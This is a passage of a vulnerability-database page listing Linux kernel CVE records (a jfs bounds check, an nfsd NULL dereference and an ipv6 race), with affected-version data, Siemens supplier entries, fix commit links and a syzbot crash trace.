https://git.kernel.org/stable/c/7fff9a9f866e99931…
https://git.kernel.org/stable/c/cb0eb10558802764f…
https://git.kernel.org/stable/c/4a7bf6a01fb441009…
https://git.kernel.org/stable/c/d64ff0d2306713ff0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d76b9a4c283c7535ae7c7c9b14984e75402951e1 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 35b91f15f44ce3c01eba058ccb864bb04743e792 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2451e5917c56be45d4add786e2a059dd9c2c37c4 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 25d2a3ff02f22e215ce53355619df10cc5faa7ab (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 058aa89b3318be3d66a103ba7c68d717561e1dc6 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7fff9a9f866e99931cf6fa260288e55d01626582 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < cb0eb10558802764f07de1dc439c4609e27cb4f0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 4a7bf6a01fb441009a6698179a739957efd88e38 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d64ff0d2306713ff084d4b09f84ed1a8c75ecc32 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49902",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:42:45.718739Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:48:47.475Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:04.357Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:59.933Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_dmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d76b9a4c283c7535ae7c7c9b14984e75402951e1",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "35b91f15f44ce3c01eba058ccb864bb04743e792",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2451e5917c56be45d4add786e2a059dd9c2c37c4",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "25d2a3ff02f22e215ce53355619df10cc5faa7ab",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "058aa89b3318be3d66a103ba7c68d717561e1dc6",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7fff9a9f866e99931cf6fa260288e55d01626582",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "cb0eb10558802764f07de1dc439c4609e27cb4f0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "4a7bf6a01fb441009a6698179a739957efd88e38",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "d64ff0d2306713ff084d4b09f84ed1a8c75ecc32",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_dmap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: check if leafidx greater than num leaves per dmap tree\n\nsyzbot report a out of bounds in dbSplit, it because dmt_leafidx greater\nthan num leaves per dmap tree, add a checking for dmt_leafidx in dbFindLeaf.\n\nShaggy:\nModified sanity check to apply to control pages as well as leaf pages."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:41:29.302Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d76b9a4c283c7535ae7c7c9b14984e75402951e1"
        },
        {
          "url": "https://git.kernel.org/stable/c/35b91f15f44ce3c01eba058ccb864bb04743e792"
        },
        {
          "url": "https://git.kernel.org/stable/c/2451e5917c56be45d4add786e2a059dd9c2c37c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/25d2a3ff02f22e215ce53355619df10cc5faa7ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/058aa89b3318be3d66a103ba7c68d717561e1dc6"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fff9a9f866e99931cf6fa260288e55d01626582"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb0eb10558802764f07de1dc439c4609e27cb4f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a7bf6a01fb441009a6698179a739957efd88e38"
        },
        {
          "url": "https://git.kernel.org/stable/c/d64ff0d2306713ff084d4b09f84ed1a8c75ecc32"
        }
      ],
      "title": "jfs: check if leafidx greater than num leaves per dmap tree",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49902",
    "datePublished": "2024-10-21T18:01:33.936Z",
    "dateReserved": "2024-10-21T12:17:06.027Z",
    "dateUpdated": "2026-05-12T11:58:59.933Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2021-47316 (GCVE-0-2021-47316)

Vulnerability from cvelistv5 – Published: 2024-05-21 14:35 – Updated: 2026-05-12 10:12

Title

nfsd: fix NULL dereference in nfs3svc_encode_getaclres

Summary

In the Linux kernel, the following vulnerability has been resolved: nfsd: fix NULL dereference in nfs3svc_encode_getaclres In error cases the dentry may be NULL. Before 20798dfe249a, the encoder also checked dentry and d_really_is_positive(dentry), but that looks like overkill to me--zero status should be enough to guarantee a positive dentry. This isn't the first time we've seen an error-case NULL dereference hidden in the initialization of a local variable in an xdr encoder. But I went back through the other recent rewrites and didn't spot any similar bugs.

Severity ?

No CVSS data available.

Assigner

Linux

References

3 references

URL	Tags
https://git.kernel.org/stable/c/e79057d15d96ef19d…
https://git.kernel.org/stable/c/650e6f383a6eb40f7…
https://git.kernel.org/stable/c/ab1016d39cc052064…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d505e66191072748620fc0af038cea4e4da0e3cd , < e79057d15d96ef19de4de6d7e479bae3d58a2a8d (git) Affected: 20798dfe249a01ad1b12eec7dbc572db5003244a , < 650e6f383a6eb40f7c0a010982a74ab4b6893870 (git) Affected: 20798dfe249a01ad1b12eec7dbc572db5003244a , < ab1016d39cc052064e32f25ad18ef8767a0ee3b8 (git)
Linux	Linux	Affected: 5.13 Unaffected: 0 , < 5.13 (semver) Unaffected: 5.13.4 , ≤ 5.13.* (semver) Unaffected: 5.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-47316",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-21T18:45:04.809482Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:13:36.645Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T05:32:08.599Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e79057d15d96ef19de4de6d7e479bae3d58a2a8d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/650e6f383a6eb40f7c0a010982a74ab4b6893870"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ab1016d39cc052064e32f25ad18ef8767a0ee3b8"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:23.647Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3acl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e79057d15d96ef19de4de6d7e479bae3d58a2a8d",
              "status": "affected",
              "version": "d505e66191072748620fc0af038cea4e4da0e3cd",
              "versionType": "git"
            },
            {
              "lessThan": "650e6f383a6eb40f7c0a010982a74ab4b6893870",
              "status": "affected",
              "version": "20798dfe249a01ad1b12eec7dbc572db5003244a",
              "versionType": "git"
            },
            {
              "lessThan": "ab1016d39cc052064e32f25ad18ef8767a0ee3b8",
              "status": "affected",
              "version": "20798dfe249a01ad1b12eec7dbc572db5003244a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3acl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.13"
            },
            {
              "lessThan": "5.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.13.*",
              "status": "unaffected",
              "version": "5.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.13.4",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.14",
                  "versionStartIncluding": "5.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix NULL dereference in nfs3svc_encode_getaclres\n\nIn error cases the dentry may be NULL.\n\nBefore 20798dfe249a, the encoder also checked dentry and\nd_really_is_positive(dentry), but that looks like overkill to me--zero\nstatus should be enough to guarantee a positive dentry.\n\nThis isn\u0027t the first time we\u0027ve seen an error-case NULL dereference\nhidden in the initialization of a local variable in an xdr encoder.  But\nI went back through the other recent rewrites and didn\u0027t spot any\nsimilar bugs."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T13:52:08.444Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e79057d15d96ef19de4de6d7e479bae3d58a2a8d"
        },
        {
          "url": "https://git.kernel.org/stable/c/650e6f383a6eb40f7c0a010982a74ab4b6893870"
        },
        {
          "url": "https://git.kernel.org/stable/c/ab1016d39cc052064e32f25ad18ef8767a0ee3b8"
        }
      ],
      "title": "nfsd: fix NULL dereference in nfs3svc_encode_getaclres",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2021-47316",
    "datePublished": "2024-05-21T14:35:32.564Z",
    "dateReserved": "2024-05-21T14:28:16.973Z",
    "dateUpdated": "2026-05-12T10:12:23.647Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40905 (GCVE-0-2024-40905)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:20 – Updated: 2026-05-12 11:55

Title

ipv6: fix possible race in __fib6_drop_pcpu_from()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: fix possible race in __fib6_drop_pcpu_from() syzbot found a race in __fib6_drop_pcpu_from() [1] If compiler reads more than once (*ppcpu_rt), second read could read NULL, if another cpu clears the value in rt6_get_pcpu_route(). Add a READ_ONCE() to prevent this race. Also add rcu_read_lock()/rcu_read_unlock() because we rely on RCU protection while dereferencing pcpu_rt. [1] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000012: 0000 [#1] PREEMPT SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000090-0x0000000000000097] CPU: 0 PID: 7543 Comm: kworker/u8:17 Not tainted 6.10.0-rc1-syzkaller-00013-g2bfcfd584ff5 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024 Workqueue: netns cleanup_net RIP: 0010:__fib6_drop_pcpu_from.part.0+0x10a/0x370 net/ipv6/ip6_fib.c:984 Code: f8 48 c1 e8 03 80 3c 28 00 0f 85 16 02 00 00 4d 8b 3f 4d 85 ff 74 31 e8 74 a7 fa f7 49 8d bf 90 00 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 0f 85 1e 02 00 00 49 8b 87 90 00 00 00 48 8b 0c 24 48 RSP: 0018:ffffc900040df070 EFLAGS: 00010206 RAX: 0000000000000012 RBX: 0000000000000001 RCX: ffffffff89932e16 RDX: ffff888049dd1e00 RSI: ffffffff89932d7c RDI: 0000000000000091 RBP: dffffc0000000000 R08: 0000000000000005 R09: 0000000000000007 R10: 0000000000000001 R11: 0000000000000006 R12: ffff88807fa080b8 R13: fffffbfff1a9a07d R14: ffffed100ff41022 R15: 0000000000000001 FS: 0000000000000000(0000) GS:ffff8880b9200000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b32c26000 CR3: 000000005d56e000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> __fib6_drop_pcpu_from net/ipv6/ip6_fib.c:966 [inline] fib6_drop_pcpu_from net/ipv6/ip6_fib.c:1027 [inline] fib6_purge_rt+0x7f2/0x9f0 net/ipv6/ip6_fib.c:1038 fib6_del_route net/ipv6/ip6_fib.c:1998 [inline] fib6_del+0xa70/0x17b0 net/ipv6/ip6_fib.c:2043 fib6_clean_node+0x426/0x5b0 net/ipv6/ip6_fib.c:2205 fib6_walk_continue+0x44f/0x8d0 net/ipv6/ip6_fib.c:2127 fib6_walk+0x182/0x370 net/ipv6/ip6_fib.c:2175 fib6_clean_tree+0xd7/0x120 net/ipv6/ip6_fib.c:2255 __fib6_clean_all+0x100/0x2d0 net/ipv6/ip6_fib.c:2271 rt6_sync_down_dev net/ipv6/route.c:4906 [inline] rt6_disable_ip+0x7ed/0xa00 net/ipv6/route.c:4911 addrconf_ifdown.isra.0+0x117/0x1b40 net/ipv6/addrconf.c:3855 addrconf_notify+0x223/0x19e0 net/ipv6/addrconf.c:3778 notifier_call_chain+0xb9/0x410 kernel/notifier.c:93 call_netdevice_notifiers_info+0xbe/0x140 net/core/dev.c:1992 call_netdevice_notifiers_extack net/core/dev.c:2030 [inline] call_netdevice_notifiers net/core/dev.c:2044 [inline] dev_close_many+0x333/0x6a0 net/core/dev.c:1585 unregister_netdevice_many_notify+0x46d/0x19f0 net/core/dev.c:11193 unregister_netdevice_many net/core/dev.c:11276 [inline] default_device_exit_batch+0x85b/0xae0 net/core/dev.c:11759 ops_exit_list+0x128/0x180 net/core/net_namespace.c:178 cleanup_net+0x5b7/0xbf0 net/core/net_namespace.c:640 process_one_work+0x9fb/0x1b60 kernel/workqueue.c:3231 process_scheduled_works kernel/workqueue.c:3312 [inline] worker_thread+0x6c8/0xf70 kernel/workqueue.c:3393 kthread+0x2c1/0x3a0 kernel/kthread.c:389 ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/c90af1cced2f669a7…
https://git.kernel.org/stable/c/c693698787660c979…
https://git.kernel.org/stable/c/a0bc020592b54a8f3…
https://git.kernel.org/stable/c/2498960dac9b6fc49…
https://git.kernel.org/stable/c/7e796c3fefa8b17b3…
https://git.kernel.org/stable/c/09e5a5a80e2059221…
https://git.kernel.org/stable/c/b01e1c030770ff3b4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < c90af1cced2f669a7b2304584be4ada495eaa0e5 (git) Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < c693698787660c97950bc1f93a8dd19d8307153d (git) Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < a0bc020592b54a8f3fa2b7f244b6e39e526c2e12 (git) Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < 2498960dac9b6fc49b6d1574f7cd1a4872744adf (git) Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < 7e796c3fefa8b17b30e7252886ae8cffacd2b9ef (git) Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < 09e5a5a80e205922151136069e440477d6816914 (git) Affected: d52d3997f843ffefaa8d8462790ffcaca6c74192 , < b01e1c030770ff3b4fe37fc7cc6bca03f594133f (git)
Linux	Linux	Affected: 4.2 Unaffected: 0 , < 4.2 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:57:34.781Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c90af1cced2f669a7b2304584be4ada495eaa0e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c693698787660c97950bc1f93a8dd19d8307153d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a0bc020592b54a8f3fa2b7f244b6e39e526c2e12"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2498960dac9b6fc49b6d1574f7cd1a4872744adf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7e796c3fefa8b17b30e7252886ae8cffacd2b9ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/09e5a5a80e205922151136069e440477d6816914"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b01e1c030770ff3b4fe37fc7cc6bca03f594133f"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40905",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:06:21.867829Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:38.202Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
